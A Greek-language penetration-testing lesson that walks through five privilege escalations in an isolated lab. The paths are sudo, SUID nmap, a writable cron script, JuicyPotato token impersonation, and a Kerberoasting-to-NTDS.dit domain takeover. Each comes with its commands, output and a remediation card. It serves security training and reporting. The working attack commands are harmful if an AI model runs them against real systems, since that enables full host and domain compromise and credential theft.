Skip to main content

Κλιμάκωση προνομίων — Καθοδηγούμενη επίδειξη

Πέντε κλιμακώσεις από άκρη σε άκρη. Τρεις σε Linux (Metasploitable 2), δύο σε Windows (Metasploitable 3 + ένα μικρό AD lab). Κάθε φορά: το πλαίσιο, η εντολή, η απόδειξη, η αναφορά.

Απομονωμένο lab

Όλες οι VM βρίσκονται στο δίκτυο host-only. Καμία εντολή δεν βγαίνει από το lab.

Τι θα ξέρετε να κάνετε μετά από αυτό το μάθημα​

  • Εντοπισμός και εκμετάλλευση πέντε διαφορετικών μονοπατιών κλιμάκωσης.
  • Χρήση των linpeas, winpeas, gtfobins, bloodhound σωστά.
  • Σπάσιμο ενός TGS Kerberos με hashcat -m 13100.
  • Εξαγωγή διαπιστευτηρίων από τη μνήμη μιας μηχανής Windows.
  • Σύνταξη ενός ευρήματος κλιμάκωσης χρήσιμου σε αναφορά.

Το σκηνικό​

ΜηχανήΡόλοςIP
KaliΕπιτιθέμενος10.10.10.5
Metasploitable 2 (Linux)Στόχος Linux, συνεδρία msfadmin που αποκτήθηκε10.10.10.20
Metasploitable 3 WinΑυτόνομος στόχος Windows, συνεδρία vagrant που αποκτήθηκε10.10.10.12
DC AD labΕλεγκτής domain acme.local10.10.10.100
WS01 AD labΣταθμός Windows ενωμένος στο domain, συνεδρία alice που αποκτήθηκε10.10.10.101

Το μίνι-AD lab στήνεται με GOAD ή με έναν απλό Windows Server + πελάτη Windows 10. Θα επανέλθουμε σε αυτό στην ενότητα 10.


Κλιμάκωση 1 (Linux) — sudo vim σε NOPASSWD​

Έχετε ένα shell msfadmin στο Metasploitable 2. Ερώτηση 1:

sudo -l

Έξοδος:

User msfadmin may run the following commands on this host:
(ALL) NOPASSWD: ALL

Παιδαγωγικό τζάκποτ: ο msfadmin έχει όλα τα δικαιώματα sudo χωρίς κωδικό πρόσβασης. Δεν χρειάζεται vim:

sudo bash
whoami
# root

Κάρτα:

## Κλιμάκωση 1 — sudo NOPASSWD ALL (Metasploitable 2)
- Αρχικός λογαριασμός: msfadmin
- Τελικός λογαριασμός: root
- Μονοπάτι: το sudo -l δείχνει "NOPASSWD: ALL" → sudo bash
- Αντίκτυπος: πλήρης παραβίαση της μηχανής
- Σύσταση: αφαίρεση της γραμμής sudoers, ορισμός συγκεκριμένων εντολών

Κλιμάκωση 2 (Linux) — SUID στο nmap​

Ας προσομοιώσουμε ένα πιο λεπτό σενάριο. Σε μια άλλη VM, ο msfadmin δεν έχει sudo. Έχει ένα nmap SUID:

find / -perm -4000 -type f 2>/dev/null | head

Έξοδος:

/usr/bin/nmap
/bin/mount
/bin/su
/usr/bin/passwd

Το /usr/bin/nmap SUID root είναι ασυνήθιστο. Συμβουλευόμαστε το GTFOBins → σε παλιότερες εκδόσεις του nmap, η διαδραστική λειτουργία:

nmap --interactive
nmap> !sh
sh-3.2# whoami
root

Root μέσω nmap. Κάρτα:

## Κλιμάκωση 2 — SUID στο /usr/bin/nmap (διαδραστική λειτουργία)
- Αρχικός λογαριασμός: msfadmin
- Τελικός λογαριασμός: root
- Μονοπάτι: nmap --interactive → !sh → shell root
- Αντίκτυπος: πλήρης παραβίαση
- Σύσταση: αφαίρεση του SUID (chmod u-s /usr/bin/nmap), χρήση στοχευμένων capabilities
αν το nmap πρέπει να τρέχει χωρίς δικαιώματα

Κλιμάκωση 3 (Linux) — Cron με σχετική διαδρομή​

Ας δημιουργήσουμε τεχνητά ένα σενάριο. Ως root στη VM, μία φορά:

# Ως root
echo '#!/bin/bash' > /usr/local/bin/backup.sh
echo 'echo "backup ran at $(date)" >> /var/log/backup.log' >> /usr/local/bin/backup.sh
chmod +x /usr/local/bin/backup.sh
chown msfadmin:msfadmin /usr/local/bin/backup.sh # <-- εσκεμμένο λάθος

# Αρχείο cron
echo '* * * * * root /usr/local/bin/backup.sh' > /etc/cron.d/backup

Ως msfadmin, εντοπίζουμε:

ls -la /usr/local/bin/backup.sh
# -rwxr-xr-x 1 msfadmin msfadmin 55 /usr/local/bin/backup.sh

Το script είναι γραμμένο από τον msfadmin, εκτελείται από τον root κάθε λεπτό. Το εκμεταλλευόμαστε:

cat > /usr/local/bin/backup.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF

Περιμένουμε ένα λεπτό:

sleep 65
/tmp/rootbash -p
whoami
# root

Κάρτα:

## Κλιμάκωση 3 — Cron με script εγγράψιμο από χρήστη
- Αρχικός λογαριασμός: msfadmin
- Τελικός λογαριασμός: root
- Μονοπάτι:
1. cat /etc/cron.d/backup → script που εκτελείται από root
2. ls -la /usr/local/bin/backup.sh → ανήκει στον msfadmin
3. Αντικατάσταση του script με payload SUID
4. Μετά από ένα λεπτό: /tmp/rootbash -p → shell root
- Αντίκτυπος: πλήρης παραβίαση της μηχανής, με persistence
- Σύσταση: chown root:root για όλα τα scripts σε cron root

Κλιμάκωση 4 (Windows) — WinPEAS και token impersonation​

Στο Metasploitable 3 Windows, έχετε μια συνεδρία vagrant σε Meterpreter:

meterpreter > getuid
Server username: METASPLOITABLE3\vagrant

meterpreter > getprivs
Enabled Process Privileges
==========================
SeAssignPrimaryTokenPrivilege
SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeDebugPrivilege ← DEBUG !
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeRemoteShutdownPrivilege
SeUndockPrivilege
SeManageVolumePrivilege
SeImpersonatePrivilege ← IMPERSONATE !
SeCreateGlobalPrivilege
SeIncreaseWorkingSetPrivilege
SeTimeZonePrivilege
SeCreateSymbolicLinkPrivilege

Το SeImpersonatePrivilege σημαίνει ότι μπορούμε να κλέψουμε ένα token. Είναι ο λογαριασμός μιας υπηρεσίας ή χρήστη που ιστορικά έχει κακή ρύθμιση.

Χρήση του PrintSpoofer ή του JuicyPotato για μετάβαση σε SYSTEM:

meterpreter > upload /usr/share/windows-resources/juicypotato/JuicyPotato.exe
meterpreter > shell
C:\> whoami
metasploitable3\vagrant

C:\> JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
....................
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};nt authority\system

[+] CreateProcessWithTokenW OK

Σε πρόσφατα Windows 10/11, χρησιμοποιούμε PrintSpoofer ή RoguePotato ανάλογα με την έκδοση.

Κάρτα:

## Κλιμάκωση 4 — Token impersonation μέσω SeImpersonatePrivilege
- Αρχικός λογαριασμός: METASPLOITABLE3\vagrant
- Τελικός λογαριασμός: NT AUTHORITY\SYSTEM
- Μονοπάτι:
1. Το getprivs αποκαλύπτει SeImpersonatePrivilege
2. Εκμετάλλευση με JuicyPotato/PrintSpoofer
3. Shell SYSTEM
- Αντίκτυπος: πλήρης έλεγχος του συστήματος, πιθανή εξαγωγή hashes
- Σύσταση: ελαχιστοποίηση των λογαριασμών υπηρεσιών με SeImpersonate,
παρακολούθηση των δημιουργιών token μέσω WMI

Κλιμάκωση 5 (AD) — Kerberoasting από άκρη σε άκρη​

Έχετε τη συνεδρία alice στον WS01, μηχανή ενωμένη στο domain acme.local. Στόχος: μετάβαση σε Domain Admin.

5a. Λίστα SPN​

Από το Kali, με Impacket:

impacket-GetUserSPNs -request \
-dc-ip 10.10.10.100 \
acme.local/alice:Alice2024! \
-outputfile preuves/tgs-tickets.txt

Έξοδος:

ServicePrincipalName        Name        MemberOf
MSSQLSvc/sqlserver.acme:1433 svc_sql CN=Service Accounts,CN=Users,DC=acme,DC=local
CIFS/backup.acme.local svc_backup CN=Service Accounts,CN=Users,DC=acme,DC=local

[*] Tickets writtes to preuves/tgs-tickets.txt

Δύο λογαριασμοί υπηρεσιών με SPN. Δύο εισιτήρια Kerberos ανακτήθηκαν.

Απόσπασμα του αρχείου:

$krb5tgs$23$*svc_sql$acme.local$MSSQLSvc/sqlserver.acme:1433*$abc123def456...

5b. Σπάσιμο hashcat​

hashcat -m 13100 preuves/tgs-tickets.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule

Μετά από λίγα λεπτά:

$krb5tgs$23$*svc_sql$acme.local$MSSQLSvc/sqlserver.acme:1433*$abc123...:SQLpass2020!

Ο κωδικός πρόσβασης του λογαριασμού υπηρεσίας SQL σε 3 λεπτά.

5c. Μετάβαση​

Με τον κωδικό πρόσβασης, συνδεόμαστε:

impacket-psexec acme.local/svc_sql:SQLpass2020!@sqlserver.acme.local

Shell SYSTEM στον sqlserver.acme.local.

Σε αυτόν τον διακομιστή, Meterpreter → συλλέκτης BloodHound → βλέπουμε:

  • Ο svc_sql είναι μέλος της ομάδας Backup Operators.
  • Η Backup Operators μπορεί να διαβάσει οποιοδήποτε αρχείο συστήματος, συμπεριλαμβανομένου του NTDS.dit στον DC.

Τελικό μονοπάτι:

# Από τον SQL server, χρησιμοποιούμε το ntdsutil για να αντιγράψουμε το NTDS.dit:
ntdsutil "ac in ntds" "ifm" "cr fu C:\temp\dump" q q

# Το φέρνουμε πίσω μέσω SMB, το εξάγουμε με το impacket-secretsdump:
impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL

Έξοδος:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31c...:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8d3...:::

Το hash του krbtgt = δυνατότητα πλαστογράφησης ενός Golden Ticket = μόνιμη πρόσβαση στο domain.

5d. Κάρτα​

## Κλιμάκωση 5 — Kerberoasting → Backup Operators → NTDS.dit
- Αρχικός λογαριασμός: ACME\alice (τυπικός χρήστης)
- Τελικός λογαριασμός: Full compromise (hash του krbtgt)
- Μονοπάτι:
1. impacket-GetUserSPNs → 2 λογαριασμοί υπηρεσιών με SPN
2. hashcat -m 13100 → ο κωδικός πρόσβασης του svc_sql σπάει
3. psexec στον SQL server → τοπικό SYSTEM
4. Το BloodHound αποκαλύπτει svc_sql ∈ Backup Operators
5. ntdsutil IFM στον DC → NTDS.dit + SYSTEM hive
6. secretsdump → εξαγωγή του hash του krbtgt
- Αντίκτυπος: πλήρης παραβίαση του domain, δυνατότητα Golden Ticket
- Συστάσεις:
1. Κωδικός πρόσβασης του svc_sql > 25 χαρακτήρες (ανθεκτικός στο σπάσιμο)
2. Αφαίρεση του svc_sql από την ομάδα Backup Operators
3. Έλεγχος όλων των λογαριασμών με SPN, επιμήκυνση των κωδικών πρόσβασής τους
4. Μετάβαση σε MSA (Managed Service Accounts) που περιστρέφονται αυτόματα

Βήμα 6 — BloodHound ως υποστήριξη​

Το BloodHound καθιστά ορατά μονοπάτια όπως αυτό του 5. Από το Kali:

# Συλλέκτης από τον WS01 με τα διαπιστευτήρια της alice
bloodhound-python -u alice -p 'Alice2024!' -d acme.local \
-ns 10.10.10.100 -c All -o preuves/bloodhound

# Εισαγωγή στο Neo4j
neo4j start
bloodhound
# Drag & drop τα .json στη διεπαφή

Προκατασκευασμένο ερώτημα: Shortest Paths to Domain Admins from Owned.

Βλέπουμε το μονοπάτι alice → svc_sql (via kerberoast) → Backup Operators → DC → Domain Admin σε ένα γράφημα. Αυτό δείχνουμε στον πελάτη. Πολύ πιο πειστικό από μια λίστα εντολών.


Βήμα 7 — Ο συγκεντρωτικός πίνακας​

| # | Στόχος          | Αρχή    | Τέλος    | Μονοπάτι                           | Απόδειξη                     |
| - | -------------- | --------- | ---------- | --------------------------------- | -------------------------- |
| 1 | metasploitable2 | msfadmin | root | sudo NOPASSWD | preuves/01-sudo.log |
| 2 | metasploitable2 | msfadmin | root | SUID στο nmap --interactive | preuves/02-nmap-suid.log |
| 3 | metasploitable2 | msfadmin | root | cron script εγγράψιμο | preuves/03-cron.log |
| 4 | metasploitable3 | vagrant | SYSTEM | JuicyPotato / SeImpersonate | preuves/04-potato.log |
| 5 | acme.local | alice | Full compro| Kerberoast → Backup Ops → NTDS.dit| preuves/05-kerberoast.log |

Απολογισμός​

Σε 90 λεπτά:

  • Πέντε κλιμακώσεις διαφορετικές, πέντε διαφορετικά μονοπάτια.
  • Πέντε αποδείξεις σε έναν φάκελο.
  • Ένα γράφημα BloodHound που κάνει την ανακάλυψη AD οπτική.
  • Ένα hash krbtgt — αρκετό για να επιβιώσει σε κάθε μερική διόρθωση.

Αυτό είναι που πληρώνει ένας πελάτης. Όχι οι σαρώσεις. Όχι τα CVE. Τα μονοπάτια.

Επόμενο μάθημα: η σειρά σας. Τρεις κλιμακώσεις, τρία μονοπάτια, τρεις κάρτες.